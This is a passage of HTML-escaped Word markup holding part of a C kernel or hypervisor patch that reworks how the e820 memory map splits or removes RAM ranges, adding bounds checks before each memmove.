font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = re - e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* If
not remove, split it in two, or else, truncate end. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if
(!remove)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if ( e820-&amp;gt;nr_map+1 &amp;gt; ARRAY_SIZE(e820-&amp;gt;map) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow\n&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i+1], &amp;amp;e820-&amp;gt;map[i],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size -= e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;e820-&amp;gt;map[i].size = e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].type = t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size -= e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*
e820map is at maximum size. We have to leak some space. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( (s
- rs) &amp;gt; (re - e) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* If
not remove, split in three, or else, split in two. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if
(!remove)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow: leaking RAM
%&amp;quot;PRIx64&amp;quot;-%&amp;quot;PRIx64&amp;quot;\n&amp;quot;, e, re);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if ( e820-&amp;gt;nr_map+2 &amp;gt; ARRAY_SIZE(e820-&amp;gt;map) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow\n&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i+2], &amp;amp;e820-&amp;gt;map[i],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map += 2;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = s - rs;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].type = t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = re - e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow: leaking RAM
%&amp;quot;PRIx64&amp;quot;-%&amp;quot;PRIx64&amp;quot;\n&amp;quot;, rs, s);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = re - e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if ( e820-&amp;gt;nr_map &amp;lt; ARRAY_SIZE(e820-&amp;gt;map) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i+1], &amp;amp;e820-&amp;gt;map[i],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = s - rs;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = re - e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
/* e820map is at maximum size. We have to leak some space. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if
( (s - rs) &amp;gt; (re - e) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
